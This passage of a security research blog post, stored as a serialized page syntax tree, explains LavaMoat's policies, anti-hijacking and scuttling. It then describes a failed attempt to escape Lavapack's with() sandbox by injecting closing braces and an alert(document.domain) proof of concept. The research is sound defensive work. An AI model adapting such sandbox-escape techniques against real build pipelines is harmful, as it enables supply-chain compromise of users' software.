\"@metamask/providers\"",{"type":19,"tag":168,"props":44683,"children":44684},{"style":212},[44685],{"type":24,"value":34497},{"type":19,"tag":168,"props":44687,"children":44688},{"class":170,"line":198},[44689,44693,44697],{"type":19,"tag":168,"props":44690,"children":44691},{"style":181},[44692],{"type":24,"value":34505},{"type":19,"tag":168,"props":44694,"children":44695},{"style":393},[44696],{"type":24,"value":1922},{"type":19,"tag":168,"props":44698,"children":44699},{"style":212},[44700],{"type":24,"value":691},{"type":19,"tag":168,"props":44702,"children":44703},{"class":170,"line":415},[44704,44709,44713,44717],{"type":19,"tag":168,"props":44705,"children":44706},{"style":181},[44707],{"type":24,"value":44708}," \"Event\"",{"type":19,"tag":168,"props":44710,"children":44711},{"style":393},[44712],{"type":24,"value":1922},{"type":19,"tag":168,"props":44714,"children":44715},{"style":382},[44716],{"type":24,"value":9914},{"type":19,"tag":168,"props":44718,"children":44719},{"style":212},[44720],{"type":24,"value":915},{"type":19,"tag":168,"props":44722,"children":44723},{"class":170,"line":450},[44724,44728,44732,44736],{"type":19,"tag":168,"props":44725,"children":44726},{"style":181},[44727],{"type":24,"value":34557},{"type":19,"tag":168,"props":44729,"children":44730},{"style":393},[44731],{"type":24,"value":1922},{"type":19,"tag":168,"props":44733,"children":44734},{"style":382},[44735],{"type":24,"value":9914},{"type":19,"tag":168,"props":44737,"children":44738},{"style":212},[44739],{"type":24,"value":915},{"type":19,"tag":168,"props":44741,"children":44742},{"class":170,"line":560},[44743,44748,44752,44756],{"type":19,"tag":168,"props":44744,"children":44745},{"style":181},[44746],{"type":24,"value":44747}," \"chrome.runtime.connect\"",{"type":19,"tag":168,"props":44749,"children":44750},{"style":393},[44751],{"type":24,"value":1922},{"type":19,"tag":168,"props":44753,"children":44754},{"style":382},[44755],{"type":24,"value":9914},{"type":19,"tag":168,"props":44757,"children":44758},{"style":212},[44759],{"type":24,"value":915},{"type":19,"tag":168,"props":44761,"children":44762},{"class":170,"line":666},[44763,44768,44772,44776],{"type":19,"tag":168,"props":44764,"children":44765},{"style":181},[44766],{"type":24,"value":44767}," \"console\"",{"type":19,"tag":168,"props":44769,"children":44770},{"style":393},[44771],{"type":24,"value":1922},{"type":19,"tag":168,"props":44773,"children":44774},{"style":382},[44775],{"type":24,"value":9914},{"type":19,"tag":168,"props":44777,"children":44778},{"style":212},[44779],{"type":24,"value":915},{"type":19,"tag":168,"props":44781,"children":44782},{"class":170,"line":694},[44783,44788,44792,44796],{"type":19,"tag":168,"props":44784,"children":44785},{"style":181},[44786],{"type":24,"value":44787}," \"dispatchEvent\"",{"type":19,"tag":168,"props":44789,"children":44790},{"style":393},[44791],{"type":24,"value":1922},{"type":19,"tag":168,"props":44793,"children":44794},{"style":382},[44795],{"type":24,"value":9914},{"type":19,"tag":168,"props":44797,"children":44798},{"style":212},[44799],{"type":24,"value":915},{"type":19,"tag":168,"props":44801,"children":44802},{"class":170,"line":707},[44803,44808,44812,44816],{"type":19,"tag":168,"props":44804,"children":44805},{"style":181},[44806],{"type":24,"value":44807}," \"document.createElement\"",{"type":19,"tag":168,"props":44809,"children":44810},{"style":393},[44811],{"type":24,"value":1922},{"type":19,"tag":168,"props":44813,"children":44814},{"style":382},[44815],{"type":24,"value":9914},{"type":19,"tag":168,"props":44817,"children":44818},{"style":212},[44819],{"type":24,"value":915},{"type":19,"tag":168,"props":44821,"children":44822},{"class":170,"line":725},[44823,44828,44832,44836],{"type":19,"tag":168,"props":44824,"children":44825},{"style":181},[44826],{"type":24,"value":44827}," \"document.readyState\"",{"type":19,"tag":168,"props":44829,"children":44830},{"style":393},[44831],{"type":24,"value":1922},{"type":19,"tag":168,"props":44833,"children":44834},{"style":382},[44835],{"type":24,"value":9914},{"type":19,"tag":168,"props":44837,"children":44838},{"style":212},[44839],{"type":24,"value":915},{"type":19,"tag":168,"props":44841,"children":44842},{"class":170,"line":746},[44843,44848,44852,44857],{"type":19,"tag":168,"props":44844,"children":44845},{"style":181},[44846],{"type":24,"value":44847}," \"ethereum\"",{"type":19,"tag":168,"props":44849,"children":44850},{"style":393},[44851],{"type":24,"value":1922},{"type":19,"tag":168,"props":44853,"children":44854},{"style":181},[44855],{"type":24,"value":44856}," \"write\"",{"type":19,"tag":168,"props":44858,"children":44859},{"style":212},[44860],{"type":24,"value":915},{"type":19,"tag":168,"props":44862,"children":44863},{"class":170,"line":755},[44864,44869,44873,44877],{"type":19,"tag":168,"props":44865,"children":44866},{"style":181},[44867],{"type":24,"value":44868}," \"location.hostname\"",{"type":19,"tag":168,"props":44870,"children":44871},{"style":393},[44872],{"type":24,"value":1922},{"type":19,"tag":168,"props":44874,"children":44875},{"style":382},[44876],{"type":24,"value":9914},{"type":19,"tag":168,"props":44878,"children":44879},{"style":212},[44880],{"type":24,"value":915},{"type":19,"tag":168,"props":44882,"children":44883},{"class":170,"line":1008},[44884,44888,44892,44896],{"type":19,"tag":168,"props":44885,"children":44886},{"style":181},[44887],{"type":24,"value":34657},{"type":19,"tag":168,"props":44889,"children":44890},{"style":393},[44891],{"type":24,"value":1922},{"type":19,"tag":168,"props":44893,"children":44894},{"style":382},[44895],{"type":24,"value":9914},{"type":19,"tag":168,"props":44897,"children":44898},{"style":212},[44899],{"type":24,"value":915},{"type":19,"tag":168,"props":44901,"children":44902},{"class":170,"line":1025},[44903,44908,44912],{"type":19,"tag":168,"props":44904,"children":44905},{"style":181},[44906],{"type":24,"value":44907}," \"web3\"",{"type":19,"tag":168,"props":44909,"children":44910},{"style":393},[44911],{"type":24,"value":1922},{"type":19,"tag":168,"props":44913,"children":44914},{"style":382},[44915],{"type":24,"value":44030},{"type":19,"tag":168,"props":44917,"children":44918},{"class":170,"line":1042},[44919],{"type":19,"tag":168,"props":44920,"children":44921},{"style":212},[44922],{"type":24,"value":34674},{"type":19,"tag":168,"props":44924,"children":44925},{"class":170,"line":1055},[44926,44930,44934],{"type":19,"tag":168,"props":44927,"children":44928},{"style":181},[44929],{"type":24,"value":34682},{"type":19,"tag":168,"props":44931,"children":44932},{"style":393},[44933],{"type":24,"value":1922},{"type":19,"tag":168,"props":44935,"children":44936},{"style":212},[44937],{"type":24,"value":691},{"type":19,"tag":168,"props":44939,"children":44940},{"class":170,"line":1064},[44941,44946,44950,44954],{"type":19,"tag":168,"props":44942,"children":44943},{"style":181},[44944],{"type":24,"value":44945}," \"@metamask/object-multiplex\"",{"type":19,"tag":168,"props":44947,"children":44948},{"style":393},[44949],{"type":24,"value":1922},{"type":19,"tag":168,"props":44951,"children":44952},{"style":382},[44953],{"type":24,"value":9914},{"type":19,"tag":168,"props":44955,"children":44956},{"style":212},[44957],{"type":24,"value":915},{"type":19,"tag":168,"props":44959,"children":44960},{"class":170,"line":1087},[44961,44966,44970],{"type":19,"tag":168,"props":44962,"children":44963},{"style":181},[44964],{"type":24,"value":44965}," \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":19,"tag":168,"props":44967,"children":44968},{"style":393},[44969],{"type":24,"value":1922},{"type":19,"tag":168,"props":44971,"children":44972},{"style":382},[44973],{"type":24,"value":44030},{"type":19,"tag":20,"props":44975,"children":44976},{},[44977,44978,44983,44985,44990,44992,44998],{"type":24,"value":14062},{"type":19,"tag":27,"props":44979,"children":44981},{"className":44980},[],[44982],{"type":24,"value":34747},{"type":24,"value":44984}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":19,"tag":27,"props":44986,"children":44988},{"className":44987},[],[44989],{"type":24,"value":34755},{"type":24,"value":44991}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":19,"tag":27,"props":44993,"children":44995},{"className":44994},[],[44996],{"type":24,"value":44997},"@metamask/providers",{"type":24,"value":44999}," interacts with other packages.",{"type":19,"tag":20,"props":45001,"children":45002},{},[45003,45005,45011],{"type":24,"value":45004},"To enforce these policies, LavaMoat uses ",{"type":19,"tag":27,"props":45006,"children":45008},{"className":45007},[],[45009],{"type":24,"value":45010},"lavapack",{"type":24,"value":45012},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":19,"tag":16345,"props":45014,"children":45016},{"id":45015},"npm-anti-hijacking",[45017],{"type":24,"value":44633},{"type":19,"tag":20,"props":45019,"children":45020},{},[45021],{"type":24,"value":45022},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":19,"tag":20,"props":45024,"children":45025},{},[45026,45028,45035],{"type":24,"value":45027},"Instead, Lavamoat looks at how each package is connected by ",{"type":19,"tag":269,"props":45029,"children":45032},{"href":45030,"rel":45031},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[273],[45033],{"type":24,"value":45034},"walking the modules",{"type":24,"value":45036}," in a project's dependency tree, thus generating a unique name for each package.",{"type":19,"tag":16345,"props":45038,"children":45040},{"id":45039},"scuttling",[45041],{"type":24,"value":44638},{"type":19,"tag":20,"props":45043,"children":45044},{},[45045,45047,45053],{"type":24,"value":45046},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":19,"tag":27,"props":45048,"children":45050},{"className":45049},[],[45051],{"type":24,"value":45052},"GlobalThis",{"type":24,"value":45054}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":19,"tag":20,"props":45056,"children":45057},{},[45058,45060,45067],{"type":24,"value":45059},"For example, ",{"type":19,"tag":269,"props":45061,"children":45064},{"href":45062,"rel":45063},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[273],[45065],{"type":24,"value":45066},"here",{"type":24,"value":45068}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":19,"tag":158,"props":45070,"children":45072},{"className":28835,"code":45071,"language":28837,"meta":7,"style":7}," if (scuttleOpts.enabled) {\n if (!Array.isArray(scuttleOpts.exceptions)) {\n throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n }\n scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n }\n",[45073],{"type":19,"tag":27,"props":45074,"children":45075},{"__ignoreMap":7},[45076,45105,45155,45214,45221,45293],{"type":19,"tag":168,"props":45077,"children":45078},{"class":170,"line":171},[45079,45083,45087,45092,45096,45101],{"type":19,"tag":168,"props":45080,"children":45081},{"style":419},[45082],{"type":24,"value":9724},{"type":19,"tag":168,"props":45084,"children":45085},{"style":212},[45086],{"type":24,"value":461},{"type":19,"tag":168,"props":45088,"children":45089},{"style":393},[45090],{"type":24,"value":45091},"scuttleOpts",{"type":19,"tag":168,"props":45093,"children":45094},{"style":212},[45095],{"type":24,"value":948},{"type":19,"tag":168,"props":45097,"children":45098},{"style":393},[45099],{"type":24,"value":45100},"enabled",{"type":19,"tag":168,"props":45102,"children":45103},{"style":212},[45104],{"type":24,"value":12250},{"type":19,"tag":168,"props":45106,"children":45107},{"class":170,"line":198},[45108,45112,45116,45120,45125,45129,45134,45138,45142,45146,45151],{"type":19,"tag":168,"props":45109,"children":45110},{"style":419},[45111],{"type":24,"value":36762},{"type":19,"tag":168,"props":45113,"children":45114},{"style":212},[45115],{"type":24,"value":461},{"type":19,"tag":168,"props":45117,"children":45118},{"style":399},[45119],{"type":24,"value":18076},{"type":19,"tag":168,"props":45121,"children":45122},{"style":393},[45123],{"type":24,"value":45124},"Array",{"type":19,"tag":168,"props":45126,"children":45127},{"style":212},[45128],{"type":24,"value":948},{"type":19,"tag":168,"props":45130,"children":45131},{"style":175},[45132],{"type":24,"value":45133},"isArray",{"type":19,"tag":168,"props":45135,"children":45136},{"style":212},[45137],{"type":24,"value":500},{"type":19,"tag":168,"props":45139,"children":45140},{"style":393},[45141],{"type":24,"value":45091},{"type":19,"tag":168,"props":45143,"children":45144},{"style":212},[45145],{"type":24,"value":948},{"type":19,"tag":168,"props":45147,"children":45148},{"style":393},[45149],{"type":24,"value":45150},"exceptions",{"type":19,"tag":168,"props":45152,"children":45153},{"style":212},[45154],{"type":24,"value":32668},{"type":19,"tag":168,"props":45156,"children":45157},{"class":170,"line":415},[45158,45163,45167,45171,45175,45180,45184,45188,45193,45197,45201,45205,45210],{"type":19,"tag":168,"props":45159,"children":45160},{"style":419},[45161],{"type":24,"value":45162}," throw",{"type":19,"tag":168,"props":45164,"children":45165},{"style":382},[45166],{"type":24,"value":29405},{"type":19,"tag":168,"props":45168,"children":45169},{"style":175},[45170],{"type":24,"value":37759},{"type":19,"tag":168,"props":45172,"children":45173},{"style":212},[45174],{"type":24,"value":500},{"type":19,"tag":168,"props":45176,"children":45177},{"style":181},[45178],{"type":24,"value":45179},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":19,"tag":168,"props":45181,"children":45182},{"style":382},[45183],{"type":24,"value":31582},{"type":19,"tag":168,"props":45185,"children":45186},{"style":382},[45187],{"type":24,"value":28875},{"type":19,"tag":168,"props":45189,"children":45190},{"style":393},[45191],{"type":24,"value":45192}," scuttleOpts",{"type":19,"tag":168,"props":45194,"children":45195},{"style":399},[45196],{"type":24,"value":948},{"type":19,"tag":168,"props":45198,"children":45199},{"style":393},[45200],{"type":24,"value":45150},{"type":19,"tag":168,"props":45202,"children":45203},{"style":382},[45204],{"type":24,"value":31614},{"type":19,"tag":168,"props":45206,"children":45207},{"style":181},[45208],{"type":24,"value":45209},"\"`",{"type":19,"tag":168,"props":45211,"children":45212},{"style":212},[45213],{"type":24,"value":557},{"type":19,"tag":168,"props":45215,"children":45216},{"class":170,"line":450},[45217],{"type":19,"tag":168,"props":45218,"children":45219},{"style":212},[45220],{"type":24,"value":10109},{"type":19,"tag":168,"props":45222,"children":45223},{"class":170,"line":560},[45224,45229,45233,45238,45242,45247,45251,45256,45260,45265,45269,45273,45277,45281,45285,45289],{"type":19,"tag":168,"props":45225,"children":45226},{"style":393},[45227],{"type":24,"value":45228}," scuttleOpts",{"type":19,"tag":168,"props":45230,"children":45231},{"style":212},[45232],{"type":24,"value":948},{"type":19,"tag":168,"props":45234,"children":45235},{"style":175},[45236],{"type":24,"value":45237},"scuttlerFunc",{"type":19,"tag":168,"props":45239,"children":45240},{"style":212},[45241],{"type":24,"value":500},{"type":19,"tag":168,"props":45243,"children":45244},{"style":393},[45245],{"type":24,"value":45246},"globalRef",{"type":19,"tag":168,"props":45248,"children":45249},{"style":212},[45250],{"type":24,"value":471},{"type":19,"tag":168,"props":45252,"children":45253},{"style":393},[45254],{"type":24,"value":45255},"realm",{"type":19,"tag":168,"props":45257,"children":45258},{"style":382},[45259],{"type":24,"value":25221},{"type":19,"tag":168,"props":45261,"children":45262},{"style":175},[45263],{"type":24,"value":45264}," performScuttleGlobalThis",{"type":19,"tag":168,"props":45266,"children":45267},{"style":212},[45268],{"type":24,"value":500},{"type":19,"tag":168,"props":45270,"children":45271},{"style":393},[45272],{"type":24,"value":45255},{"type":19,"tag":168,"props":45274,"children":45275},{"style":212},[45276],{"type":24,"value":471},{"type":19,"tag":168,"props":45278,"children":45279},{"style":393},[45280],{"type":24,"value":45091},{"type":19,"tag":168,"props":45282,"children":45283},{"style":212},[45284],{"type":24,"value":948},{"type":19,"tag":168,"props":45286,"children":45287},{"style":393},[45288],{"type":24,"value":45150},{"type":19,"tag":168,"props":45290,"children":45291},{"style":212},[45292],{"type":24,"value":17166},{"type":19,"tag":168,"props":45294,"children":45295},{"class":170,"line":666},[45296],{"type":19,"tag":168,"props":45297,"children":45298},{"style":212},[45299],{"type":24,"value":761},{"type":19,"tag":20,"props":45301,"children":45302},{},[45303,45305,45311,45313,45319],{"type":24,"value":45304},"Subsequently, the code defines a ",{"type":19,"tag":269,"props":45306,"children":45309},{"href":45307,"rel":45308},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[273],[45310],{"type":24,"value":28849},{"type":24,"value":45312}," called ",{"type":19,"tag":27,"props":45314,"children":45316},{"className":45315},[],[45317],{"type":24,"value":45318},"generateScuttleOpts",{"type":24,"value":45320}," that creates and returns an options object.",{"type":19,"tag":20,"props":45322,"children":45323},{},[45324,45326,45332,45333,45339,45341,45346,45348,45354],{"type":24,"value":45325},"Finally, the ",{"type":19,"tag":27,"props":45327,"children":45329},{"className":45328},[],[45330],{"type":24,"value":45331},"performScuttleGlobalThis",{"type":24,"value":3893},{"type":19,"tag":269,"props":45334,"children":45337},{"href":45335,"rel":45336},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[273],[45338],{"type":24,"value":28849},{"type":24,"value":45340}," modifies the properties of the global object (",{"type":19,"tag":27,"props":45342,"children":45344},{"className":45343},[],[45345],{"type":24,"value":45246},{"type":24,"value":45347},"). It starts by creating an array ",{"type":19,"tag":27,"props":45349,"children":45351},{"className":45350},[],[45352],{"type":24,"value":45353},"props",{"type":24,"value":45355},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":19,"tag":36,"props":45357,"children":45359},{"id":45358},"hacking-webpacks",[45360],{"type":24,"value":45361},"Hacking Webpacks",{"type":19,"tag":20,"props":45363,"children":45364},{},[45365],{"type":24,"value":45366},"Now let's get to the fun stuff.",{"type":19,"tag":20,"props":45368,"children":45369},{},[45370],{"type":24,"value":45371},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":19,"tag":158,"props":45373,"children":45375},{"className":28835,"code":45374,"language":28837,"meta":7,"style":7}," const filename = encodeURI(String(moduleData.file))\n let moduleWrapperSource\n if (bundleWithPrecompiledModules) {\n moduleWrapperSource = `function(){\n with (this.scopeTerminator) {\n with (this.globalThis) {\n return function() {\n 'use strict';\n // source: ${filename}\n return function (require, module, exports) {\n __MODULE_CONTENT__\n };\n };\n }\n }\n }`\n",[45376],{"type":19,"tag":27,"props":45377,"children":45378},{"__ignoreMap":7},[45379,45431,45443,45463,45480,45488,45496,45504,45512,45533,45541,45549,45557,45564,45571,45578],{"type":19,"tag":168,"props":45380,"children":45381},{"class":170,"line":171},[45382,45386,45391,45395,45400,45404,45409,45413,45418,45422,45427],{"type":19,"tag":168,"props":45383,"children":45384},{"style":382},[45385],{"type":24,"value":33663},{"type":19,"tag":168,"props":45387,"children":45388},{"style":393},[45389],{"type":24,"value":45390}," filename",{"type":19,"tag":168,"props":45392,"children":45393},{"style":399},[45394],{"type":24,"value":402},{"type":19,"tag":168,"props":45396,"children":45397},{"style":175},[45398],{"type":24,"value":45399}," encodeURI",{"type":19,"tag":168,"props":45401,"children":45402},{"style":212},[45403],{"type":24,"value":500},{"type":19,"tag":168,"props":45405,"children":45406},{"style":175},[45407],{"type":24,"value":45408},"String",{"type":19,"tag":168,"props":45410,"children":45411},{"style":212},[45412],{"type":24,"value":500},{"type":19,"tag":168,"props":45414,"children":45415},{"style":393},[45416],{"type":24,"value":45417},"moduleData",{"type":19,"tag":168,"props":45419,"children":45420},{"style":212},[45421],{"type":24,"value":948},{"type":19,"tag":168,"props":45423,"children":45424},{"style":393},[45425],{"type":24,"value":45426},"file",{"type":19,"tag":168,"props":45428,"children":45429},{"style":212},[45430],{"type":24,"value":17166},{"type":19,"tag":168,"props":45432,"children":45433},{"class":170,"line":198},[45434,45438],{"type":19,"tag":168,"props":45435,"children":45436},{"style":382},[45437],{"type":24,"value":5292},{"type":19,"tag":168,"props":45439,"children":45440},{"style":393},[45441],{"type":24,"value":45442}," moduleWrapperSource\n",{"type":19,"tag":168,"props":45444,"children":45445},{"class":170,"line":415},[45446,45450,45454,45459],{"type":19,"tag":168,"props":45447,"children":45448},{"style":419},[45449],{"type":24,"value":28866},{"type":19,"tag":168,"props":45451,"children":45452},{"style":212},[45453],{"type":24,"value":461},{"type":19,"tag":168,"props":45455,"children":45456},{"style":393},[45457],{"type":24,"value":45458},"bundleWithPrecompiledModules",{"type":19,"tag":168,"props":45460,"children":45461},{"style":212},[45462],{"type":24,"value":12250},{"type":19,"tag":168,"props":45464,"children":45465},{"class":170,"line":450},[45466,45471,45475],{"type":19,"tag":168,"props":45467,"children":45468},{"style":393},[45469],{"type":24,"value":45470}," moduleWrapperSource",{"type":19,"tag":168,"props":45472,"children":45473},{"style":399},[45474],{"type":24,"value":402},{"type":19,"tag":168,"props":45476,"children":45477},{"style":181},[45478],{"type":24,"value":45479}," `function(){\n",{"type":19,"tag":168,"props":45481,"children":45482},{"class":170,"line":560},[45483],{"type":19,"tag":168,"props":45484,"children":45485},{"style":181},[45486],{"type":24,"value":45487}," with (this.scopeTerminator) {\n",{"type":19,"tag":168,"props":45489,"children":45490},{"class":170,"line":666},[45491],{"type":19,"tag":168,"props":45492,"children":45493},{"style":181},[45494],{"type":24,"value":45495}," with (this.globalThis) {\n",{"type":19,"tag":168,"props":45497,"children":45498},{"class":170,"line":694},[45499],{"type":19,"tag":168,"props":45500,"children":45501},{"style":181},[45502],{"type":24,"value":45503}," return function() {\n",{"type":19,"tag":168,"props":45505,"children":45506},{"class":170,"line":707},[45507],{"type":19,"tag":168,"props":45508,"children":45509},{"style":181},[45510],{"type":24,"value":45511}," 'use strict';\n",{"type":19,"tag":168,"props":45513,"children":45514},{"class":170,"line":725},[45515,45520,45524,45529],{"type":19,"tag":168,"props":45516,"children":45517},{"style":181},[45518],{"type":24,"value":45519}," // source: ",{"type":19,"tag":168,"props":45521,"children":45522},{"style":382},[45523],{"type":24,"value":31582},{"type":19,"tag":168,"props":45525,"children":45526},{"style":393},[45527],{"type":24,"value":45528},"filename",{"type":19,"tag":168,"props":45530,"children":45531},{"style":382},[45532],{"type":24,"value":1326},{"type":19,"tag":168,"props":45534,"children":45535},{"class":170,"line":746},[45536],{"type":19,"tag":168,"props":45537,"children":45538},{"style":181},[45539],{"type":24,"value":45540}," return function (require, module, exports) {\n",{"type":19,"tag":168,"props":45542,"children":45543},{"class":170,"line":755},[45544],{"type":19,"tag":168,"props":45545,"children":45546},{"style":181},[45547],{"type":24,"value":45548}," __MODULE_CONTENT__\n",{"type":19,"tag":168,"props":45550,"children":45551},{"class":170,"line":1008},[45552],{"type":19,"tag":168,"props":45553,"children":45554},{"style":181},[45555],{"type":24,"value":45556}," };\n",{"type":19,"tag":168,"props":45558,"children":45559},{"class":170,"line":1025},[45560],{"type":19,"tag":168,"props":45561,"children":45562},{"style":181},[45563],{"type":24,"value":6140},{"type":19,"tag":168,"props":45565,"children":45566},{"class":170,"line":1042},[45567],{"type":19,"tag":168,"props":45568,"children":45569},{"style":181},[45570],{"type":24,"value":752},{"type":19,"tag":168,"props":45572,"children":45573},{"class":170,"line":1055},[45574],{"type":19,"tag":168,"props":45575,"children":45576},{"style":181},[45577],{"type":24,"value":10109},{"type":19,"tag":168,"props":45579,"children":45580},{"class":170,"line":1064},[45581],{"type":19,"tag":168,"props":45582,"children":45583},{"style":181},[45584],{"type":24,"value":45585}," }`\n",{"type":19,"tag":20,"props":45587,"children":45588},{},[45589,45591,45597,45599,45605],{"type":24,"value":45590},"Lavapack uses ",{"type":19,"tag":27,"props":45592,"children":45594},{"className":45593},[],[45595],{"type":24,"value":45596},"with()",{"type":24,"value":45598}," proxies to restrict the objects accessible by the module, and ",{"type":19,"tag":27,"props":45600,"children":45602},{"className":45601},[],[45603],{"type":24,"value":45604},"__MODULE_CONTENT__",{"type":24,"value":45606}," is replaced by the content of a file required by the project being built.",{"type":19,"tag":7050,"props":45608,"children":45610},{"id":45609},"injection-not-so-simple",[45611],{"type":24,"value":45612},"Injection? Not So Simple",{"type":19,"tag":20,"props":45614,"children":45615},{},[45616,45618,45623],{"type":24,"value":45617},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":19,"tag":27,"props":45619,"children":45621},{"className":45620},[],[45622],{"type":24,"value":10096},{"type":24,"value":45624}," environment:",{"type":19,"tag":158,"props":45626,"children":45628},{"className":28835,"code":45627,"language":28837,"meta":7,"style":7}," } // end function 1\n } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[45629],{"type":19,"tag":27,"props":45630,"children":45631},{"__ignoreMap":7},[45632,45645,45657,45669,45681,45688],{"type":19,"tag":168,"props":45633,"children":45634},{"class":170,"line":171},[45635,45640],{"type":19,"tag":168,"props":45636,"children":45637},{"style":212},[45638],{"type":24,"value":45639}," } ",{"type":19,"tag":168,"props":45641,"children":45642},{"style":373},[45643],{"type":24,"value":45644},"// end function 1\n",{"type":19,"tag":168,"props":45646,"children":45647},{"class":170,"line":198},[45648,45652],{"type":19,"tag":168,"props":45649,"children":45650},{"style":212},[45651],{"type":24,"value":28940},{"type":19,"tag":168,"props":45653,"children":45654},{"style":373},[45655],{"type":24,"value":45656},"// end function 2\n",{"type":19,"tag":168,"props":45658,"children":45659},{"class":170,"line":415},[45660,45664],{"type":19,"tag":168,"props":45661,"children":45662},{"style":212},[45663],{"type":24,"value":33677},{"type":19,"tag":168,"props":45665,"children":45666},{"style":373},[45667],{"type":24,"value":45668},"// end with 1\n",{"type":19,"tag":168,"props":45670,"children":45671},{"class":170,"line":450},[45672,45676],{"type":19,"tag":168,"props":45673,"children":45674},{"style":212},[45675],{"type":24,"value":44355},{"type":19,"tag":168,"props":45677,"children":45678},{"style":373},[45679],{"type":24,"value":45680},"// end with 2\n",{"type":19,"tag":168,"props":45682,"children":45683},{"class":170,"line":560},[45684],{"type":19,"tag":168,"props":45685,"children":45686},{"emptyLinePlaceholder":14},[45687],{"type":24,"value":1093},{"type":19,"tag":168,"props":45689,"children":45690},{"class":170,"line":666},[45691,45695,45699,45703,45707,45711],{"type":19,"tag":168,"props":45692,"children":45693},{"style":175},[45694],{"type":24,"value":30170},{"type":19,"tag":168,"props":45696,"children":45697},{"style":212},[45698],{"type":24,"value":500},{"type":19,"tag":168,"props":45700,"children":45701},{"style":393},[45702],{"type":24,"value":30180},{"type":19,"tag":168,"props":45704,"children":45705},{"style":212},[45706],{"type":24,"value":948},{"type":19,"tag":168,"props":45708,"children":45709},{"style":393},[45710],{"type":24,"value":30190},{"type":19,"tag":168,"props":45712,"children":45713},{"style":212},[45714],{"type":24,"value":557},{"type":19,"tag":20,"props":45716,"children":45717},{},[45718,45720,45726,45728,45735],{"type":24,"value":45719},"However, when we tried to bundle it, a ",{"type":19,"tag":27,"props":45721,"children":45723},{"className":45722},[],[45724],{"type":24,"value":45725},"ParseError",{"type":24,"value":45727}," was thrown. This is because Lavapack is a plugin of ",{"type":19,"tag":269,"props":45729,"children":45732},{"href":45730,"rel":45731},"https://github.com/browserify/browserify",[273],[45733],{"type":24,"value":45734},"browserify",{"type":24,"value":45736},", which has a syntax check before replacing the code.",{"type":19,"tag":20,"props":45738,"children":45739},{},[45740,45742,45748,45750,45756,45758,45764,45766,45771],{"type":24,"value":45741},"Looking deeper into browserify, we find it has a ",{"type":19,"tag":27,"props":45743,"children":45745},{"className":45744},[],[45746],{"type":24,"value":45747},"syntax",{"type":24,"value":45749}," stage on it's pipeline, and uses the ",{"type":19,"tag":27,"props":45751,"children":45753},{"className":45752},[],[45754],{"type":24,"value":45755},"syntax-error",{"type":24,"value":45757}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":19,"tag":27,"props":45759,"children":45761},{"className":45760},[],[45762],{"type":24,"value":45763},"pack",{"type":24,"value":45765}," stage on browserify pipeline, which comes after the ",{"type":19,"tag":27,"props":45767,"children":45769},{"className":45768},[],[45770],{"type":24,"value":45747},{"type":24,"value":45772},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":19,"tag":20,"props":45774,"children":45775},{},[45776],{"type":19,"tag":1344,"props":45777,"children":45780},{"alt":45778,"src":45779},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":19,"tag":20,"props":45782,"children":45783},{},[45784,45785,45790,45792,45797],{"type":24,"value":14062},{"type":19,"tag":27,"props":45786,"children":45788},{"className":45787},[],[45789],{"type":24,"value":45755},{"type":24,"value":45791}," package performs a syntax check by using ",{"type":19,"tag":27,"props":45793,"children":45795},{"className":45794},[],[45796],{"type":24,"value":35023},{"type":24,"value":45798}," with function hoisting:",{"type":19,"tag":158,"props":45800,"children":45802},{"className":28835,"code":45801,"language":28837,"meta":7,"style":7},"try {\n eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n return;\n}\ncatch (err) {\n if (err === 'STOP') return undefined;\n if (err.constructor.name !== 'SyntaxError') return err;\n return errorInfo(src, file, opts);\n}\n",[45803],{"type":19,"tag":27,"props":45804,"children":45805},{"__ignoreMap":7},[45806,45818,45868,45879,45886,45907,45948,46008,46049],{"type":19,"tag":168,"props":45807,"children":45808},{"class":170,"line":171},[45809,45814],{"type":19,"tag":168,"props":45810,"children":45811},{"style":419},[45812],{"type":24,"value":45813},"try",{"type":19,"tag":168,"props":45815,"children":45816},{"style":212},[45817],{"type":24,"value":691},{"type":19,"tag":168,"props":45819,"children":45820},{"class":170,"line":198},[45821,45826,45830,45835,45839,45844,45848,45853,45859,45864],{"type":19,"tag":168,"props":45822,"children":45823},{"style":175},[45824],{"type":24,"value":45825}," eval",{"type":19,"tag":168,"props":45827,"children":45828},{"style":212},[45829],{"type":24,"value":500},{"type":19,"tag":168,"props":45831,"children":45832},{"style":181},[45833],{"type":24,"value":45834},"'throw \"STOP\"; (function () { 